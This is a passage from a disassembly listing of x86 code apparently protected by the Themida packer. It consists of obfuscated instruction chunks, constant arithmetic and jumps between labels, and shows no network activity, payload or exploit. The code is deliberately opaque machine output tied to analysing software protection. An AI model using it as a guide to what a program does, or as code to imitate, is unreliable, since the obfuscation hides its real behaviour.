; END OF FUNCTION CHUNK FOR sub_58F728
; ---------------------------------------------------------------------------
loc_587108: ; CODE XREF: Themida_:00588F16j
pop ebx
shr ebx, 5
push 2099h
mov [esp], edi
jmp loc_589AD4
; ---------------------------------------------------------------------------
lodsb
push edx
jmp loc_58C5BB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_587120: ; CODE XREF: sub_585452-7A4j
add esi, edx
pop edx
and eax, esi
mov esi, [esp-28h+arg_24]
jmp sub_589967
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
neg byte ptr [esp]
pushf
jmp loc_583C20
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5B5756
loc_587136: ; CODE XREF: sub_5B5756-298D1j
mov ch, 0F3h
and ch, 8Bh
and ch, 9Ah
not ch
jmp loc_58DD70
; END OF FUNCTION CHUNK FOR sub_5B5756
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58EFBD
loc_587145: ; CODE XREF: sub_58EFBD-211Fj
pop ecx
jmp loc_58E589
; END OF FUNCTION CHUNK FOR sub_58EFBD
; ---------------------------------------------------------------------------
loc_58714B: ; CODE XREF: Themida_:00589C7Bj
mov bl, 16h
mov cl, 9
neg cl
neg cl
add cl, 0D6h
add cl, bl
pop ebx
jmp loc_58C81E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58715E: ; CODE XREF: sub_585452+4E92j
xor ebp, 0AC948D64h
add ebx, ebp
mov ebp, [esp-28h+arg_24]
add esp, 4
add ebx, 2
xor ebx, [esp-2Ch+arg_28]
jmp loc_586061
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
mov ax, [esp]
push ebx
push ecx
mov ecx, esp
add ecx, 4
jmp loc_584FE6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58718D: ; CODE XREF: sub_585452+751j
sub ebx, 4
xor ebx, [esp-1Ch+arg_16+2]
xor [esp-1Ch+arg_16+2], ebx
xor ebx, [esp-1Ch+arg_16+2]
pop esp
mov [esp-20h+arg_1A+2], ecx
jmp loc_58E428
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_5871A5: ; CODE XREF: Themida_:0058D79Aj
mov ebx, 56C34B3Ch
or ebx, 514D5E03h
sub ebx, 62843247h
shr ebx, 2
or ebx, 3CD86238h
sub esp, 4
mov [esp], edx
mov edx, 2FB43E3Eh
inc edx
xor edx, 6BD4B47h
sub ebx, edx
pop edx
push 934h
jmp loc_58CF54
; ---------------------------------------------------------------------------
loc_5871DE: ; CODE XREF: Themida_:0058C96Ej
add eax, edi
push dword ptr [esp]
pop edi
jmp loc_587E00
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58A5A3
loc_5871E9: ; CODE XREF: sub_58A5A3-54F9j
push eax
mov eax, 43CB7C98h
and eax, 28283DA7h
jmp loc_58888C
; END OF FUNCTION CHUNK FOR sub_58A5A3
; ---------------------------------------------------------------------------
loc_5871F9: ; CODE XREF: Themida_:0058DE29j
pop edx
inc edx
xchg edi, edx
push 0
sub [esp], edi
pop edi
xchg edi, edx
push edi
jmp loc_585C8C
; ---------------------------------------------------------------------------
loc_58720E: ; CODE XREF: Themida_:0058A9F1j
mov ebx, 1F403EBAh
shr ebx, 7
push edx
mov edx, 2274341Bh
and edx, 23A901E6h
neg edx
jmp loc_5868E9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_587229: ; CODE XREF: sub_585452+2847j
push eax
mov al, bl
mov dl, al
jmp loc_586457
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_587233: ; CODE XREF: Themida_:0058AE1Fj
mov esi, esp
push ebp
mov ebp, 105F2CBDh
and ebp, 43417DFFh
add ebp, 0B630A53h
xor ebp, 5F0E011Ah
inc ebp
xor ebp, 3EFE5BA1h
xor ebp, 6A546DAEh
add esi, ebp
pop ebp
push ecx
jmp loc_58DE81
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C230
loc_587263: ; CODE XREF: sub_58C230-7628j
mov ecx, 430324F5h
sub edi, ecx
mov ecx, [esp-8+arg_4]
jmp loc_5891D9
; END OF FUNCTION CHUNK FOR sub_58C230
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_587272: ; CODE XREF: sub_585452+5DB5j
mov [esp-1Ch+arg_16+2], ebp
sub [esp-1Ch+arg_16+2], 5E4C2A32h
pop ecx
push 1323h
mov [esp-1Ch+arg_16+2], ebp
mov ebp, 5E4C2A32h
add ecx, ebp
pop ebp
pop ebp
add eax, 12DD7693h
add eax, ecx
jmp loc_58D2D7
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58EFBD
loc_58729A: ; CODE XREF: sub_58EFBD+98j
xor ebx, esi
jmp loc_58DFF0
; END OF FUNCTION CHUNK FOR sub_58EFBD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58BB49
loc_5872A1: ; CODE XREF: sub_58BB49-326Ej
push 239Ch
mov [esp+4+var_4], ebp
mov ebp, 7CEB313Fh
sub dword ptr [esp+4], 1DDA5C4Eh
sub [esp+4], ebp
add dword ptr [esp+4], 1DDA5C4Eh
pop ebp
sub [esp+0], eax
push esi
mov esi, 7CEB313Fh
add [esp+4], esi
pop esi
sub dword ptr [esp+0], 0B0217C7h
jmp loc_583C20
; END OF FUNCTION CHUNK FOR sub_58BB49
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_5872DD: ; CODE XREF: sub_585452+90E9j
push eax
jmp loc_5893C2
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58999B
loc_5872E3: ; CODE XREF: sub_58999B+441Fj
mov ebx, [esp-8+arg_2+2]
add esp, 4
jmp loc_58E2D2
; END OF FUNCTION CHUNK FOR sub_58999B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_5872EE: ; CODE XREF: sub_585452+9FDFj
and edx, 38324117h
jmp loc_58B984
; ---------------------------------------------------------------------------
loc_5872F9: ; CODE XREF: sub_585452-EEj
or ebp, eax
jmp loc_58D251
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_587300: ; CODE XREF: Themida_:0058F85Bj
pop ebx
push edi
jmp loc_586A60
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_587307: ; CODE XREF: sub_585452+5415j
not [esp+2+var_4+2]
pop ecx
xchg ecx, edx
xchg edx, [esp+0]
mov esi, [esp+0]
add esp, 4
shr esi, 2
sub esi, 1DB2F09Bh
add ecx, esi
jmp loc_58B87F
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C230
loc_587326: ; CODE XREF: sub_58C230+A1Bj
and ecx, 0CB44FE6h
add ecx, 642512B7h
mov ebp, ecx
pop ecx
or edi, ebp
mov ebp, [esp-0Ch+arg_8]
add esp, 4
inc edi
xchg ecx, edi
xchg edi, ecx
not edi
xchg edi, ecx
xchg ecx, edi
push eax
mov eax, 81C2E823h
xor edi, eax
pop eax
push ebp
mov ebp, edi
mov [edx+38h], ebp
pop ebp
jmp loc_588E2F
; END OF FUNCTION CHUNK FOR sub_58C230
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_589967
loc_587360: ; CODE XREF: sub_589967-4A9Aj
pop esi
add ebx, 0FCFBA4EEh
add ebp, ebx
pop ebx
push ebx
jmp loc_58D4FE
; END OF FUNCTION CHUNK FOR sub_589967
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58AB18
loc_587370: ; CODE XREF: sub_58AB18-1A70j
push esi
jmp loc_58CC7D
; END OF FUNCTION CHUNK FOR sub_58AB18
; ---------------------------------------------------------------------------
mov cx, [esp]
push 1F9Eh
mov [esp], esi
push esp
mov esi, [esp]
add esp, 4
jmp loc_584724
; ---------------------------------------------------------------------------
loc_587391: ; CODE XREF: Themida_:0058845Bj
pop edi
pop eax
push edx
jmp loc_586B49
; ---------------------------------------------------------------------------
loc_587399: ; CODE XREF: Themida_:00588CD9j
mov edi, [esp]
add esp, 4
push eax
mov eax, 4F732B6Bh
shr eax, 7
jmp loc_58D769
; ---------------------------------------------------------------------------
loc_5873B0: ; CODE XREF: Themida_:005842F4j
pop edx
add ebp, esi
mov esi, [esp]
jmp loc_58CB40
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_5873BB: ; CODE XREF: sub_585452+322Fj
pop esp
mov [esp-0Ah+arg_4+2], eax
jmp loc_588AAE
; ---------------------------------------------------------------------------
loc_5873C4: ; CODE XREF: sub_585452+2705j
mov edx, [esp-0Ah+arg_4+2]
sub esp, 4
mov [esp-6+arg_0+2], ebp
mov ebp, esp
add ebp, 4
jmp loc_5885B7
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_5873DA: ; CODE XREF: Themida_:0058B584j
push ebp
mov ebp, 2
jmp loc_58E97E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_5873E5: ; CODE XREF: sub_585452+871Aj
sub ebx, 1
add ebx, 127C09C1h
xor ebx, 0A191381Bh
sub edi, 49A11589h
add edi, ebx
jmp loc_58491A
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58BE98
loc_587401: ; CODE XREF: sub_58BE98+13j
mov ecx, [esp+8+var_8]
add esp, 4
push 784Fh
mov [esp+8+var_8], ebp
mov ebp, esp
add ebp, 4
add ebp, 4
jmp loc_587798
; END OF FUNCTION CHUNK FOR sub_58BE98
; ---------------------------------------------------------------------------
mov ax, [esp]
push 3C69h
jmp loc_585E9C
; ---------------------------------------------------------------------------
push dword ptr [esp]
mov ecx, [esp]
jmp loc_584C0D
; ---------------------------------------------------------------------------
loc_58743B: ; CODE XREF: Themida_:0058DE7Cj
mov [esp], edx
push ebx
jmp loc_5867E4
; ---------------------------------------------------------------------------
loc_587444: ; CODE XREF: Themida_:0058E92Cj
jmp loc_583C20
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_587449: ; CODE XREF: sub_585452+8557j
push 417h
mov [esp+0], esi
push esp
pop esi
add esi, 4
push edi
mov edi, 4
sub esi, 3EBB719Dh
add esi, edi
add esi, 3EBB719Dh
pop edi
jmp loc_58B01A
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_587473: ; CODE XREF: Themida_:00589855j
xchg eax, [esp]
mov esp, [esp]
sub [esp], ax
pushf
jmp loc_588A70
; ---------------------------------------------------------------------------
loc_587483: ; CODE XREF: Themida_:0058D4EAj
pop esp
xor [esp], dl
xor dl, [esp]
xor [esp], dl
jmp loc_58A05C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58DCD4
loc_587492: ; CODE XREF: sub_58DCD4+62Aj
mov edi, esp
jmp loc_5854AC
; END OF FUNCTION CHUNK FOR sub_58DCD4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_587499: ; CODE XREF: sub_585452-98Cj
push 538h
jmp loc_58CD51
; ---------------------------------------------------------------------------
loc_5874A3: ; CODE XREF: sub_585452+201j
xchg ebx, edx
jmp loc_58F344
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58A170
loc_5874AA: ; CODE XREF: sub_58A170-39F0j
shr bh, 8
add bh, 51h
sub bh, 0A2h
add bh, 23h
xor cl, bh
pop ebx
shr cl, 3
jmp loc_58C3A8
; END OF FUNCTION CHUNK FOR sub_58A170
; ---------------------------------------------------------------------------
loc_5874C1: ; CODE XREF: Themida_:0058F880j
add edi, 4
xchg edi, [esp]
pop esp
jmp loc_58A54F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_5874D0: ; CODE XREF: sub_585452-19Ej
mov cl, 0Fh
jmp loc_585978
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58EFBD
loc_5874D7: ; CODE XREF: sub_58EFBD-136Aj
add ebp, 346902E6h
jmp loc_583FFB
; END OF FUNCTION CHUNK FOR sub_58EFBD
; ---------------------------------------------------------------------------
loc_5874E2: ; CODE XREF: Themida_:00583F8Bj
push 5823h
mov [esp], eax
mov eax, 37614F11h
sub eax, 3059EC6Fh
mov ebp, eax
push dword ptr [esp]
pop eax
add esp, 4
xor eax, ebp
mov ebp, [esp]
push 397Ah
mov [esp], ecx
mov ecx, esp
add ecx, 4
jmp loc_58FD03
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_587517: ; CODE XREF: sub_585452+7AEj
xor ecx, eax
push 712Ah
mov [esp-8+arg_4], ebx
push 352Eh
jmp loc_58E728
; ---------------------------------------------------------------------------
loc_58752B: ; CODE XREF: sub_585452+151j
push cx
mov cl, 0B9h
sub bl, cl
pop cx
sub bl, dh
jmp loc_58D12D
; ---------------------------------------------------------------------------
loc_58753A: ; CODE XREF: sub_585452-17B2j
shr bh, 2
shr bh, 3
not bh
jmp loc_587D25
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_587547: ; CODE XREF: Themida_:0058C12Aj
jmp loc_583C20
; ---------------------------------------------------------------------------
loc_58754C: ; CODE XREF: Themida_:0058C5E9j
push ebx
push edi
push ebp
push 5A397C9Eh
pop ebp
push edx
mov edx, 5A5841CAh
xor ebp, edx
pop edx
mov edi, ebp
mov ebp, [esp]
add esp, 4
xor edi, 6757159Bh
jmp loc_5859DD
; =============== S U B R O U T I N E =======================================
sub_587574 proc near ; CODE XREF: sub_585452+D31j
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 00584CCA SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0058631A SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0058663A SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005869DA SIZE 0000004C BYTES
; FUNCTION CHUNK AT 00586B3B SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005870F2 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00587A63 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0058840E SIZE 00000024 BYTES
; FUNCTION CHUNK AT 00588732 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00589363 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005896AC SIZE 00000031 BYTES
; FUNCTION CHUNK AT 00589922 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0058A6F1 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0058AA7F SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058AE7B SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0058C072 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058CA46 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058CF97 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058F4CF SIZE 0000002D BYTES
; FUNCTION CHUNK AT 0058F5F0 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058FB27 SIZE 0000000D BYTES
push ebx
jmp loc_58AE7B
sub_587574 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58EFBD
loc_58757A: ; CODE XREF: sub_58EFBD-2FE5j
mov [esp-0Ch+arg_8], edi
push 6DA4h
jmp loc_58F6CF
; END OF FUNCTION CHUNK FOR sub_58EFBD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58481A
loc_587587: ; CODE XREF: sub_58481A+7j
mov edi, 24F41833h
mov edx, 0DB0BE7CDh
add edx, edi
pop edi
add edx, eax
mov [edx], bl
mov edx, [esp+4+var_4]
add esp, 4
pop ebx
jmp loc_583C20
; END OF FUNCTION CHUNK FOR sub_58481A
; ---------------------------------------------------------------------------
loc_5875A4: ; CODE XREF: Themida_:0058C41Fj
push ebp
mov ebp, 16E607C2h
jmp loc_586980
; ---------------------------------------------------------------------------
loc_5875AF: ; CODE XREF: Themida_:00583FBFj
add esi, 5A800239h
neg esi
or esi, 656D577Ah
jmp loc_58EBE8
; ---------------------------------------------------------------------------
loc_5875C2: ; CODE XREF: Themida_:0058D00Bj
pop bx
push eax
push ecx
mov cl, dh
mov al, cl
pop ecx
mov dh, [esp+4]
mov [esp+4], al
pop eax
jmp loc_58E5EC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_5875D9: ; CODE XREF: sub_585452+3CFAj
mov esp, [esp-4+arg_0]
mov [esp-4+arg_0], ebx
jmp loc_58E37D
; ---------------------------------------------------------------------------
loc_5875E4: ; CODE XREF: sub_585452+17CFj
push eax
mov ah, 3Fh
dec ah
shr ah, 7
add ah, 2Bh
add bh, ah
jmp loc_58E035
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_5875F6: ; CODE XREF: Themida_:0058A6CDj
sub ecx, 4
jmp loc_58BB65
; ---------------------------------------------------------------------------
loc_587601: ; CODE XREF: Themida_:00587F00j
add esi, 56F65BA5h
jmp loc_58F254
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58760C: ; CODE XREF: sub_585452+BBj
sub [edi+24h], eax
pop eax
xor edx, edx
jmp loc_58E799
; ---------------------------------------------------------------------------
loc_587617: ; CODE XREF: sub_585452+43BDj
sub eax, 7308FFFAh
jmp loc_5898AB
; ---------------------------------------------------------------------------
loc_587621: ; CODE XREF: sub_585452+594j
pop edi
push eax
jmp loc_58C991
; ---------------------------------------------------------------------------
loc_587628: ; CODE XREF: sub_585452+147Fj
add edx, 7261E71h
push ecx
mov ecx, 0A1E4D5Bh
sub edx, ecx
pop ecx
pop esi
push edx
push [esp+46h+var_44+2]
pop edx
jmp loc_5889B0
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_587643: ; CODE XREF: Themida_:0058E2CDj
mov dl, bl
sub esp, 4
mov [esp], eax
mov al, ch
mov bl, al
pop eax
jmp loc_58CBB0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58999B
loc_587658: ; CODE XREF: sub_58999B+1316j
pop esi
push [esp-10h+arg_C]
pop ebp
jmp loc_58E21E
; END OF FUNCTION CHUNK FOR sub_58999B
; ---------------------------------------------------------------------------
loc_587662: ; CODE XREF: Themida_:0058FE06j
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], eax
mov eax, 6EF97A09h
sub eax, 12795F64h
shl eax, 2
add eax, 0B410E6Ch
add eax, 0FFFFFFFFh
xor eax, 316956DFh
add ebp, eax
pop eax
push ecx
mov ecx, 5BFB61EFh
neg ecx
jmp loc_58B994
; ---------------------------------------------------------------------------
loc_5876A0: ; CODE XREF: Themida_:005881A8j
xchg eax, [esp]
pop esp
jmp loc_587BAC
; ---------------------------------------------------------------------------
loc_5876A9: ; CODE XREF: Themida_:005862B1j
mov eax, [esp]
push ebp
mov ebp, esp
add ebp, 4
sub esp, 4
mov [esp], edx
mov edx, 4
add ebp, edx
jmp loc_58CA33
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_5876CA: ; CODE XREF: sub_585452+774j
mov ecx, [esp+0]
jmp loc_58E919
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_5876D2: ; CODE XREF: Themida_:0058E630j
push ecx
jmp loc_58E70B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_589FD5
loc_5876D8: ; CODE XREF: sub_589FD5+1B10j
mov esi, [esp-0Ch+arg_8]
push ebp
mov ebp, esp
add ebp, 4
jmp loc_586703
; END OF FUNCTION CHUNK FOR sub_589FD5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58A4F5
loc_5876E9: ; CODE XREF: sub_58A4F5+Aj
mov bh, 8Dh
jmp loc_58B35E
; END OF FUNCTION CHUNK FOR sub_58A4F5
; ---------------------------------------------------------------------------
loc_5876F0: ; CODE XREF: Themida_:0058E12Aj
xchg ecx, [esp]
pop esp
sub esp, 4
mov [esp], esi
mov esi, esp
push edi
mov edi, 4
sub esi, 27304F13h
add esi, edi
jmp loc_58DB88
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58DEA3
loc_587712: ; CODE XREF: sub_58DEA3-739Aj
mov edx, esp
jmp loc_585A85
; END OF FUNCTION CHUNK FOR sub_58DEA3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_587719: ; CODE XREF: sub_585452+3723j
mov esi, 4
add ebp, esi
pop esi
xchg ebp, [esp-14h+arg_E+2]
pop esp
push edi
mov edi, esp
add edi, 4
jmp loc_58B83E
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_583D6F
loc_587733: ; CODE XREF: sub_583D6F+6j
pop ebp
inc ebp
add ebp, 838486Ch
or ebp, 20441258h
xor ebp, 325C77FBh
jmp loc_58B8A4
; END OF FUNCTION CHUNK FOR sub_583D6F
; ---------------------------------------------------------------------------
loc_58774C: ; CODE XREF: Themida_:0058CDE2j
pop esp
add esp, 4
push 3856h
mov [esp], ecx
jmp loc_58FAC3
; ---------------------------------------------------------------------------
loc_58775D: ; CODE XREF: Themida_:0058DAA3j
add esp, 4
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
pop esp
jmp loc_58D555
; ---------------------------------------------------------------------------
loc_58776F: ; CODE XREF: Themida_:005893BDj
xor ecx, 11412A10h
sub ebx, ecx
pop ecx
jmp loc_584FB8
; ---------------------------------------------------------------------------
push dword ptr [esp]
mov ecx, [esp]
push 2C3Bh
mov [esp], edx
mov edx, esp
add edx, 4
jmp loc_588B56
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58BE98
loc_587798: ; CODE XREF: sub_58BE98-4A7Bj
xchg ebp, [esp+8+var_8]
jmp loc_587DE6
; END OF FUNCTION CHUNK FOR sub_58BE98
; ---------------------------------------------------------------------------
loc_5877A0: ; CODE XREF: Themida_:00586DF5j
add esp, 4
jmp loc_587D9B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_5877A8: ; CODE XREF: sub_585452+9A36j
pop edi
xchg edi, ebx
jmp loc_58CE6F
; ---------------------------------------------------------------------------
loc_5877B0: ; CODE XREF: sub_585452+967Cj
push ecx
push 384Ah
mov [esp+0], edx
mov dh, al
push eax
mov ah, dh
jmp loc_588AB8
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
jmp loc_586878
; ---------------------------------------------------------------------------
lodsd
jmp loc_585512
; ---------------------------------------------------------------------------
loc_5877D4: ; CODE XREF: Themida_:00584A29j
mov [esp], ebp
push edx
jmp loc_58DDBF
; =============== S U B R O U T I N E =======================================
sub_5877DD proc near ; CODE XREF: sub_585452+925Fj
; FUNCTION CHUNK AT 00589142 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058B77F SIZE 00000019 BYTES
push ebx
jmp loc_58B77F
sub_5877DD endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58D7D9
loc_5877E3: ; CODE XREF: sub_58D7D9-6A6Cj
push ecx
jmp loc_585E80
; END OF FUNCTION CHUNK FOR sub_58D7D9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_5877E9: ; CODE XREF: sub_585452-6EFj
add ecx, 0FFFFFFFFh
jmp loc_58483C
; ---------------------------------------------------------------------------
loc_5877F4: ; CODE XREF: sub_585452+2B2Ej
mov [esp-1Eh+arg_1A], edx
push 5305h
mov [esp-1Ah+arg_16], eax
mov eax, 1
push 2D86h
mov [esp-16h+arg_12], edi
mov edi, eax
jmp loc_58970F
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_587813: ; CODE XREF: Themida_:005879DAj
pop edi
sub edx, 3DC25543h
add edx, eax
add edx, 3DC25543h
push edi
jmp loc_585C21
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58EFBD
loc_587828: ; CODE XREF: sub_58EFBD-4D27j
push 10B2h
mov [esp-4+arg_0], ecx
mov ecx, 4324449Ch
sub eax, ecx
push [esp-4+arg_0]
pop ecx
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp+0]
mov esp, [esp+0]
or eax, eax
jnz loc_58BF42
push eax
jmp loc_58CBDC
; END OF FUNCTION CHUNK FOR sub_58EFBD
; ---------------------------------------------------------------------------
loc_58785E: ; CODE XREF: Themida_:0058C91Bj
shl ebx, 8
not ebx
jmp loc_58D409
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F728
loc_587868: ; CODE XREF: sub_58F728-6319j
pop ebp
add edx, edi
pop edi
pop ebp
xor eax, edx
pop edx
push 2A9Ah
mov [esp+0], edx
push 35C71F95h
mov edx, [esp+0]
push 69A5h
jmp loc_58B863
; END OF FUNCTION CHUNK FOR sub_58F728
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58EFBD
loc_58788A: ; CODE XREF: sub_58EFBD-6094j
sub esi, 5D60606Bh
neg esi
shl esi, 1
xor esi, 87269884h
jmp loc_588771
; END OF FUNCTION CHUNK FOR sub_58EFBD
; ---------------------------------------------------------------------------
loc_58789F: ; CODE XREF: Themida_:0058EC20j
sub cx, 3CDEh
mov si, cx
pop ecx
push ax
mov ax, 589Dh
sub dx, ax
jmp loc_58A147
; ---------------------------------------------------------------------------
loc_5878B6: ; CODE XREF: Themida_:00588529j
jmp loc_583C20
; =============== S U B R O U T I N E =======================================
sub_5878BB proc near ; CODE XREF: sub_58F3BC-6173j
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 0058B332 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 0058BCA4 SIZE 00000003 BYTES
push ebx
mov ebx, 0BCD19A9Fh
push ebp
mov ebp, ebx
push esi
mov esi, ebp
mov ecx, esi
pop esi
pop ebp
mov ebx, [esp+4+var_4]
add esp, 4
add ecx, edi
mov edi, [esp+0]
push ebx
jmp loc_58B332
sub_5878BB endp ; sp-analysis failed
; ---------------------------------------------------------------------------
push dword ptr [edi+3Ch]
push ebx
push edi
push 5C8753D9h
pop edi
and edi, 7B33B71h
xor edi, 12327FDEh
xor edi, 33307411h
jmp loc_586172
; ---------------------------------------------------------------------------
loc_5878FE: ; CODE XREF: Themida_:00583D7Cj
sub al, dh
pop edx
add al, bl
add al, 40h
jmp loc_587E9B
; ---------------------------------------------------------------------------
loc_58790A: ; CODE XREF: Themida_:0058EBB9j
push ecx
jmp loc_58E635
; ---------------------------------------------------------------------------
loc_587910: ; CODE XREF: Themida_:00584017j
mov dh, 72h
inc dh
add dh, 0CFh
add al, dh
mov edx, [esp]
add esp, 4
mov edx, [esp]
add esp, 4
add al, 51h
sub esp, 4
jmp loc_5854C4
; ---------------------------------------------------------------------------
loc_587935: ; CODE XREF: Themida_:0058E517j
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
jmp loc_58DEFF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_587942: ; CODE XREF: sub_585452+7E5Dj
mov bh, 1
sub al, bh
pop ebx
jmp loc_58517F
; ---------------------------------------------------------------------------
loc_58794C: ; CODE XREF: sub_585452+49D2j
mov edi, ecx
mov ecx, [esp-1Ah+arg_16]
add esp, 4
shr edi, 7
not edi
xor edi, 0BF3124Ch
shl edi, 3
shl edi, 4
jmp sub_58C31F
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58796A: ; CODE XREF: Themida_:0058C800j
mov ebp, 7C5242E6h
sub ebp, 5BEE3E30h
or ebp, 4F824B00h
not ebp
xor ebp, 0BAE2600h
jmp loc_585C15
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_587988: ; CODE XREF: sub_585452+1C68j
mov esp, [esp-1Eh+arg_1A]
mov ax, word ptr [esp-1Eh+arg_1A]
push 2D9Eh
mov [esp-1Ah+arg_16], ebx
sub esp, 4
mov [esp-16h+arg_12], esp
add [esp-16h+arg_12], 4
push [esp-16h+arg_12]
jmp loc_5843B7
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop cx
rcr word ptr [esp], cl
pushf
jmp loc_583C20
; ---------------------------------------------------------------------------
loc_5879BF: ; CODE XREF: Themida_:0058B7AFj
sub al, bh
pop ebx
jmp loc_58917C
; ---------------------------------------------------------------------------
loc_5879C7: ; CODE XREF: Themida_:0058F66Fj
pop esi
and eax, 461A6911h
xor eax, 0FBD56CBh
push edi
mov edi, 2495475Eh
sub edx, edi
jmp loc_587813
; ---------------------------------------------------------------------------
loc_5879DF: ; CODE XREF: Themida_:0058905Aj
pop edx
sub ecx, 0F177224Ah
xor edi, ecx
jmp loc_584B94
; ---------------------------------------------------------------------------
loc_5879ED: ; CODE XREF: Themida_:0058461Cj
push eax
jmp loc_58B568
